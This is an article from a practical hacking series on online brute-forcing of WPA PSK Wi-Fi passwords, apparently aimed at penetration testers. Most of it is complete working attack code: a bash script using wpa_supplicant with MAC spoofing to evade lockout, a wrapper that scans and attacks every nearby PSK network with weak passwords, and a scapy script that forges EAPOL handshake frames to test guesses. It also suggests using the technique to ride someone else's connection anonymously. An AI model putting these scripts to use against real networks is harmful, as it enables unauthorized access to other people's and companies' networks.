Brute-force on-the-fly. Attacking wireless networks in a simple and effective way

Attacks on Wi-Fi are extremely diverse: your targets are both client devices and access points who, in turn, can use various protocols and authentication methods. This article presents a simple but effective brute-forcing technique for wireless networks.

info

This article continues the series of publications describing practical hacking and attacking techniques involving makeshift devices that can be easily assembled at home. You will learn how to gain unauthorized access to protected information and how to protect your own data from such attacks. The previous article in this series was Megadrone. Assembling a long-range and jammer-resistant hacker drone.

warning

This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.

The most common encryption system used in wireless networks is WPA PSK. Even if a company uses WPA-Enterprise networks and everything else is prohibited, you can always find WPA PSK thanks to the presence of wireless printers and unauthorized access points deployed by employees’ phones. And the larger is the company’s perimeter, the more such potential access points can be discovered. Attacks targeting WPA PSK access points usually follow the algorithm shown below.

Classical algorithm for WPA PSK attacks
Classical algorithm for WPA PSK attacks

But what if an access point has no clients? Generally speaking, a half of detected wireless networks will have no active clients; the other half won’t be vulnerable to PMKID; and you won’t detect a WPS PIN suitable for brute-forcing on such networks. Does this mean that such access points are resistant to attacks even if their password is 12345678?? And what prevents you from attacking them?

Online brute-force with wpa_supplicant

It’s not a big deal to guess a password to a regular WPA network using simple brute-force: you just authenticate and directly ask the access point for the password (this method is called online brute-force).

Attacks on Wi-Fi networks involving online password guessing are extremely rare; only a few implementations of this attack can be found on the Internet. This is understandable: its speed is low compared to WPA Handshake or PMKID brute-force. But in almost a quarter of situations, this attack is your only option. Even if the brute-forcing speed is not high, it’s obviously better than waiting in vain for something. And do you really need high brute-forcing speed when it comes to insecure passwords? Assume that approximately every tenth access point uses the above-mentioned password 12345678. Do you really need a handshake to attack such devices?

Online brute-force: a
Online brute-force: a ‘width-wise’ attack (many access points, few passwords)

What if you just try a dozen of weakest passwords? Using wpa_supplicant, you can implement online brute-force in a simple Bash script:

wpa-brute.sh
#!/bin/bash
RED='\x1b[31m'
GREEN='\x1b[32m'
GREY='\x1b[90m'
RESET='\x1b[0m'
TIMEOUT=15
IFACE=wlan0
[[ $# -ge 1 ]] && essid="$1" || read -p 'essid: ' essid
[[ $# -ge 2 ]] && wordlist="$2" || read -p 'wordlist: ' wordlist
[[ $# -ge 3 ]] && threads="$3" || threads=1
rand=$RANDOM
if [ "$threads" -eq 1 ]; then
touch "/tmp/wpa_${rand}_${essid}.conf"
while read -r password
do
[[ "${#password}" -lt 8 ]] && continue
#sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up
wpa_passphrase "$essid" "$password" > "/tmp/wpa_${rand}_${essid}.conf" || continue
sed -i 's/^.*#psk=.*$/\tscan_ssid=1/g' "/tmp/wpa_${rand}_${essid}.conf"
sudo ifconfig $IFACE up
sudo timeout $TIMEOUT wpa_supplicant -i $IFACE -c "/tmp/wpa_${rand}_${essid}.conf" 2>&1 > "/tmp/wpa_${rand}_${essid}.log" &
wpa_supplicant=$!
tail -f "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null | while read -t $TIMEOUT line
do
#echo "$line"
if echo "$line" | grep -q "completed"; then
break
elif echo "$line" | grep -q "Handshake failed"; then
break
fi
done
sudo pkill -P $wpa_supplicant 2> /dev/null
now=$(date +'%H:%M:%S')
if grep -q "complete" "/tmp/wpa_${rand}_${essid}.log" > /dev/null; then
echo -e $GREEN "[+] [$now] $IFACE $essid: $password" $RESET
exit 1
elif grep -q "Handshake failed" "/tmp/wpa_${rand}_${essid}.log"; then
echo -e $RED "[-] [$now] $IFACE $essid: $password" $RESET
else
echo -e $GREY "[!] [$now] $IFACE $essid: $password" $RESET
echo "$password" >> "$wordlist"
fi
rm "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null
rm "/tmp/wpa_${rand}_${essid}.conf" 2> /dev/null
done < "$wordlist"
elif [ "$threads" -gt 1 ]; then
typeset -a pids=()
for ((thread=0; thread<$threads; thread++)); do
"$0" "$1" <(cat "$2" | awk "NR%$threads==$thread") || pkill -f "$0" &
pids+=($!)
#sleep 0.25
done
for pid in ${pids[*]}; do
tail --pid=$pid -f /dev/null
done
fi

The script will try to connect to an access point using only legitimate software. To avoid blocking, it can change your MAC address to a random one at each iteration. Such a script doesn’t require your wireless network card to support special modes and can be executed on any computer or even on an Android device.

Online brute-force: a
Online brute-force: a ‘depth-wise’ attack (one access point, many passwords)

The above method is actually not that bad: even Android by default manages wireless connections using the oldie-goodie wpa_supplicant. It’s believed that online brute-force of access points cannot be parallelized, and the password-guessing speed cannot be increased. However, simultaneous password brute-forcing from two devices doesn’t cause a drop in speed; therefore, it’s possible to boost the performance.

The wpa-brute.sh script supports multithreading in a fairly simple and original way: you can simultaneously run several wpa_supplicant processes on the same WLAN interface. While one process is waiting for a response from the access point, the other wpa_supplicant sends authentication packets containing the next password. This means that the brute-forcing speed can be increased (although within reasonable limits and to various extents at different access points).

By adding a wrapper to the wpa-brute.sh script, you can implement a ‘width-wise’ brute-force attack:

wpa_brute-width.sh
#!/bin/bash
RED='\x1b[31m'
GREEN='\x1b[32m'
GREY='\x1b[90m'
RESET='\x1b[0m'
IFACE=wlan0
TIMEOUT=60
PASSWD=()
MAX_TREADS=6
[[ $# -ge 1 ]] && PASSWD=($*) || while read passwd; do PASSWD+=("$passwd"); done
#PASSWD=(12345678 123456789 1234567890 qwertyuiop 1q2w3e4r 987654321 1q2w3e4r5t qazwsxedc 11111111)
#sudo killall -KILL wpa_supplicant 2> /dev/null
mkdir /tmp/wpa_brute 2> /dev/null && chmod o+rw /tmp/wpa_brute
while :
do
sudo ifconfig $IFACE up
typeset -a bssids=()
typeset -a essids=()
typeset -a signals=()
IFS=$'\x0a'
for line in $(sudo iw dev $IFACE scan 2> /dev/null | egrep '^BSS|SSID:|signal:|Authentication' | tr $'\n' $'\t' | sed -e 's/BSS/\nBSS/g' | grep 'PSK')
do
IFS=$'\t' read bssid signal essid <<< $(echo "$line" | sed -rn 's/BSS (.+)\(.*\t+signal: (.*).00 dBm.*\t+SSID: ([^\t]+)\t.*/\1\t\2\t\3/p')
if [ -n "$essid" ]; then
#echo "[*] $bssid $signal $essid"
bssids+=($bssid)
essids+=($essid)
signals+=($signal)
fi
done
for ((i=0; i<${#bssids[@]}; i++))
do
echo "${essids[i]}"$'\t'"${bssids[i]}"$'\t'"${signals[i]}"
done | sort -n -k 3 -r | uniq > /tmp/wpa_brute/wpa_net.txt
IFS=$'\x0a'
for net in $(cat /tmp/wpa_brute/wpa_net.txt)
do
IFS=$'\t' read essid bssid signal <<< $(echo "$net")
fgrep -q "$essid" /tmp/wpa_brute/essids_known.txt 1> /dev/null 2> /dev/null && continue
echo "[+] $essid $bssid $signal"
sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up
threads=0
for passwd in ${PASSWD[*]}
do ((threads++))
echo "$passwd"
done > /tmp/wpa_brute/wordlist.txt
timeout $TIMEOUT $(dirname "$0")/wpa_brute.sh "$essid" /tmp/wpa_brute/wordlist.txt $(( threads<=MAX_TREADS ? threads : MAX_TREADS ))
echo "$essid" >> /tmp/wpa_brute/essids_known.txt
break
done
done

At each iteration, the script scans airwaves, checks for the presence of wireless networks, sorts them by signal strength, and tries to guess either one or more specified passwords.

‘Width-wise’ brute-force can be very efficient if the attacked object has an extended perimeter with many different Wi-Fi networks, including unauthorized ones deployed by careless users. Another good example of poorly protected devices that can be detected using this method are printers. They represent excellent entry points into the company’s internal network.

‘Width-wise’ brute-force can be used not only for penetration; for instance, you can use it to gain anonymous access to the Internet via someone else’s channel.

Online brute-force with scapy

If you have a network card that supports the monitor mode and can inject arbitrary packets, you can try to implement brute-force on your own. For this purpose, use the protocol that verifies the WPA Pre-Shared Key (PSK): EAPOL. To be specific, you’ll need its first two packages: M1 and M2. The M1 packet is sent by the access point; so, you must be able to read it and form on its basis an M2 packet that contains the password checksum. If you subsequently receive an M3 EAPOL packet from the access point, then your password was correct.

I was unable to find on the Internet any ready-made examples that could be used to send WPA PSK via EAPOL. My only catch were pieces of code that extracts handshakes. Still, the collected information was sufficient to implement the WPA PSK computation using EAPOL and construct the entire negotiation chain.

First of all, you need the name (ESSID) and MAC address (BSSID) of the wireless network; this information can be extracted from a Beacon packet:

#!/usr/bin/python3
from scapy.all import *
from threading import Thread
from time import sleep
import hmac,hashlib,binascii
import random
from sys import argv
beacon = None
def get_beacon():
def handle(p):
global beacon
seen_receiver = p[Dot11].addr1
seen_sender = p[Dot11].addr2
seen_bssid = p[Dot11].addr3
if target.lower() == seen_bssid.lower() and \
Dot11Beacon in p:
beacon = p
print("[*] Beacon from Source {}".format(seen_bssid))
return True
sniff(iface=IFACE, lfilter=lambda p: p.haslayer(Dot11Beacon), stop_filter=handle, timeout=WAIT)
Thread(target=get_beacon).start()
wait = 5
while not beacon and wait > 0:
sleep(0.01)
wait -= 0.01
if beacon:
print("[+] beacon received")
else:
print("[-] no beacon received")
exit(1)

Next, you have to connect to the access point. To do this, you send an authorization request:

authorization_request = RadioTap()/Dot11(proto=0, FCfield=0, subtype=11, addr2=source, addr3=target, addr1=target, SC=0, type=0) / Dot11Auth(status=0, seqnum=1, algo=0)
is_auth_found = False
def get_authorization_response():
def handle(p):
global is_auth_found
seen_receiver = p[Dot11].addr1
seen_sender = p[Dot11].addr2
seen_bssid = p[Dot11].addr3
if target.lower() == seen_bssid.lower() and \
target.lower() == seen_sender.lower() and \
source.lower() == seen_receiver.lower():
is_auth_found = True
print("[*] Detected Authentication from Source {0}".format(seen_bssid))
return is_auth_found
sniff(iface=IFACE, lfilter=lambda p: p.haslayer(Dot11Auth), stop_filter=handle, timeout=WAIT)
Thread(target=get_authorization_response).start()
sleep(0.01)
sendp(authorization_request, verbose=0, count=1)
wait = 15
while not is_auth_found and wait > 0:
sleep(0.01)
wait -= 0.01
if is_auth_found:
print("[+] authenticated")
else:
print("[-] no authenticated")
exit(1)

As soon as consent is received from the access point, you send an Association request:

association_request = RadioTap() / Dot11(proto=0, FCfield=0, subtype=0, addr2=source, addr3=target, addr1=target, SC=0, type=0) \
/ Dot11AssoReq(listen_interval=5, cap=0x1101) \
/ beacon[Dot11Beacon].payload
is_assoc_found = False
def get_association_response():
def handle(p):
global is_assoc_found
seen_receiver = p[Dot11].addr1
seen_sender = p[Dot11].addr2
seen_bssid = p[Dot11].addr3
if target.lower() == seen_bssid.lower() and \
target.lower() == seen_sender.lower() and \
source.lower() == seen_receiver.lower():
is_assoc_found = True
print("[*] Detected Association Response from Source {0}".format(seen_bssid))
return is_assoc_found
sniff(iface=IFACE, lfilter=lambda p: p.haslayer(Dot11AssoResp), stop_filter=handle, timeout=WAIT)
Thread(target=get_association_response).start()
sleep(0.01)
sendp(association_request, verbose=0, count=1)
wait = 15
while (not is_assoc_found or not anonce) and wait > 0:
sleep(0.01)
wait -= 0.01
if is_assoc_found or anonce:
print("[+] associated")
else:
print("[-] no associated")
exit(1)

The access point responds affirmatively to your Association request and immediately starts sending M1 packets using the EAPOL Protocol (by the way, they often contain the above-mentioned PMKID). In these packets, the ANONCE field is of special interest to you since the password hash will be subsequently computed on its basis:

anonce = ""
def get_m1():
def handle(p):
global anonce
seen_receiver = p[Dot11].addr1
seen_sender = p[Dot11].addr2
seen_bssid = p[Dot11].addr3
key_mic_is_set = 0b100000000
if target.lower() == seen_bssid.lower() and \
target.lower() == seen_sender.lower() and \
source.lower() == seen_receiver.lower() and \
not int.from_bytes(bytes(p[EAPOL].payload)[1:3], byteorder='big') & key_mic_is_set:
anonce = bytes(p[EAPOL].payload)[13:13+32]
print("[*] EAPOL M1 from Source {}".format(seen_bssid))
return True
sniff(iface=IFACE, lfilter=lambda p: p.haslayer(EAPOL), stop_filter=handle, timeout=WAIT)
Thread(target=get_m1).start()
wait = WAIT
while not anonce and wait > 0:
sleep(0.01)
wait -= 0.01
if anonce:
print("[+] M1 ANonce: {0}".format(anonce.hex()))
else:
print("[-] no M1 received")
exit(1)

Now you have to generate an EAPOL M2 packet that is better known as WPA Handshake (in this particular case, Half-handshake yet):

def assemble_EAP_Expanded(self, l):
ret = ''
for i in range(len(l)):
if l[i][0] & 0xFF00 == 0xFF00:
ret += (l[i][1])
else:
ret += pack('!H', l[i][0]) + pack('!H', len(l[i][1])) + l[i][1]
return ret
def PRF_512(key,A,B):
return b''.join(hmac.new(key,A+chr(0).encode()+B+chr(i).encode(),hashlib.sha1).digest() for i in range(4))[:64]
def get_rand(n):
o = b''
for _ in range(n):
o += int(random.random()*255).to_bytes(1, 'big')
return o
def b(mac):
o = b''
for m in mac.split(':'):
o += int(m, 16).to_bytes(1, 'big')
return o
pmk = hashlib.pbkdf2_hmac('sha1', password.encode(), essid.encode(), 4096, 32)
snonce = get_rand(32)
ptk = PRF_512(pmk, b"Pairwise key expansion", min(b(target),b(source))+max(b(target),b(source))+min(anonce,snonce)+max(anonce,snonce))
kck = ptk[0:16]
print("[*] PTK: {}".format(ptk.hex()))
print("[*] KCK: {}".format(kck.hex()))
eapol_data_4 = bytearray(117)
eapol_data_4[0:1] = b"\x02" # Key Description Type: EAPOL RSN Key
eapol_data_4[1:1+2] = b"\x01\x0a" # Key Information: 0x010a
eapol_data_4[3:3+2] = b"\x00\x00" # Key Length: 0
eapol_data_4[5:5+8] = b"\x00\x00\x00\x00\x00\x00\x00\x01" # Replay Counter: 1
eapol_data_4[13:13+32] = snonce # WPA Key Nonce
eapol_data_4[45:45+16] = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # WPA Key IV
eapol_data_4[61:61+8] = b"\x00\x00\x00\x00\x00\x00\x00\x00" # WPA Key RSC
eapol_data_4[69:69+8] = b"\x00\x00\x00\x00\x00\x00\x00\x00" # WPA Key ID
eapol_data_4[77:77+16] = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # WPA Key MIC
eapol_data_4[93:93+2] = b"\x00\x16" # WPA Key Data Length: 22
eapol_data_4[95:95+26] = bytes(rsn_cap) # WPA Key Data Length
mic = hmac.new(kck, b"\x01\x03\x00\x75" + bytes(eapol_data_4[:77]) + bytes.fromhex("00000000000000000000000000000000") + bytes(eapol_data_4[93:]), hashlib.sha1).digest()[0:16]
eapol_data_4[77:77+16] = mic
print("[*] MIC: {}".format(mic.hex()))
m2 = RadioTap() / Dot11(proto=0, FCfield=1, addr2=source, addr3=target, addr1=target, subtype=8, SC=0, type=2, ID=55808) \
/ Dot11QoS(TID=6, TXOP=0, EOSP=0) \
/ LLC(dsap=0xaa, ssap=0xaa, ctrl=0x3) \
/ SNAP(OUI=0, code=0x888e) \
/ EAPOL(version=1, type=3, len=117) / bytes(eapol_data_4)
def checksum(data):
FSC = binascii.crc32(data) % (1<<32)
FSC = str(hex(FSC))[2:]
FSC = "0" * (8-len(FSC)) + FSC
return bytes.fromhex(FSC)[::-1]
m2 /= checksum(bytes(m2))
sendp(m2, verbose=0, count=1)

Now all you have to do is wait for the access point to send the M3 EAPOL packet (the second half of Handshake). If it sends it, then you have successfully guessed the password. If not, you go back to the beginning and try a different password:

amic = ""
def get_m3():
def handle(p):
global amic
seen_receiver = p[Dot11].addr1
seen_sender = p[Dot11].addr2
seen_bssid = p[Dot11].addr3
key_mic_is_set = 0b100000000
if target.lower() == seen_bssid.lower() and \
target.lower() == seen_sender.lower() and \
source.lower() == seen_receiver.lower() and \
int.from_bytes(bytes(p[EAPOL].payload)[1:3], byteorder='big') & key_mic_is_set:
amic = bytes(p[EAPOL].payload)[77:77+16]
print("[*] EAPOL M3 from source {}".format(seen_bssid))
return True
sniff(iface=IFACE, lfilter=lambda p: p.haslayer(EAPOL), stop_filter=handle, timeout=WAIT)
Thread(target=get_m3).start()
wait = 1.0
while not amic and wait > 0:
sleep(0.01)
wait -= 0.01
if amic:
print("[+] M3 AMIC: {0}".format(amic.hex()))
exit(0)
else:
exit(1)

After putting everything together, you’ll get a highly scalable primitive.

Authentication with incorrect password (EAPOL M3 not received)
Authentication with incorrect password (EAPOL M3 not received)
Authentication with correct password (EAPOL M3 received)
Authentication with correct password (EAPOL M3 received)

The above script can be run multiple times on multiple consoles simultaneously, thus, implementing simple process parallelization:

while read password
do if sudo ./auth.py 00:11:22:33:44:55 test_wifi "$password"; then break; fi
done < passwords.txt

In the brute.py script, this code has been slightly modified to make it more multithreading-friendly.

Eight online brute-force threads
Eight online brute-force threads
Password guessed successfully
Password guessed successfully

The password has been guessed. Each authentication attempt was made from a random MAC address to prevent the client from being blocked.

If you set too many parallel brute-force threads, the access point may not be able to keep up with them, and you’ll receive error messages. However, the script takes this into account by adding unverified passwords to the top of the queue.

CONCLUSIONS

Congrats! You have found the missing link in the action matrix.

Enhanced algorithm for WPA PSK attacks
Enhanced algorithm for WPA PSK attacks

In addition, you have mastered another simple and long-forgotten, although pretty obvious, attack.

Using the wpa_brute-width.sh script, you can detect an unsafe printer among hundreds of wireless networks that are you are physically unable to attack manually and on the go. The attack has no special prerequisites: any WPA PSK wireless network can be attacked from a network card and even from a phone.

When you attack a specific object, you never know the entire list of available wireless networks. Furthermore, the customer who has hired you to perform a pentesting study may not be aware of all potential entry points as well. Various wireless devices, as well as forgotten and unauthorized networks clearly demonstrate this.

The full code of all above-discussed utilities is available in my GitHub repository.

Good luck!


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>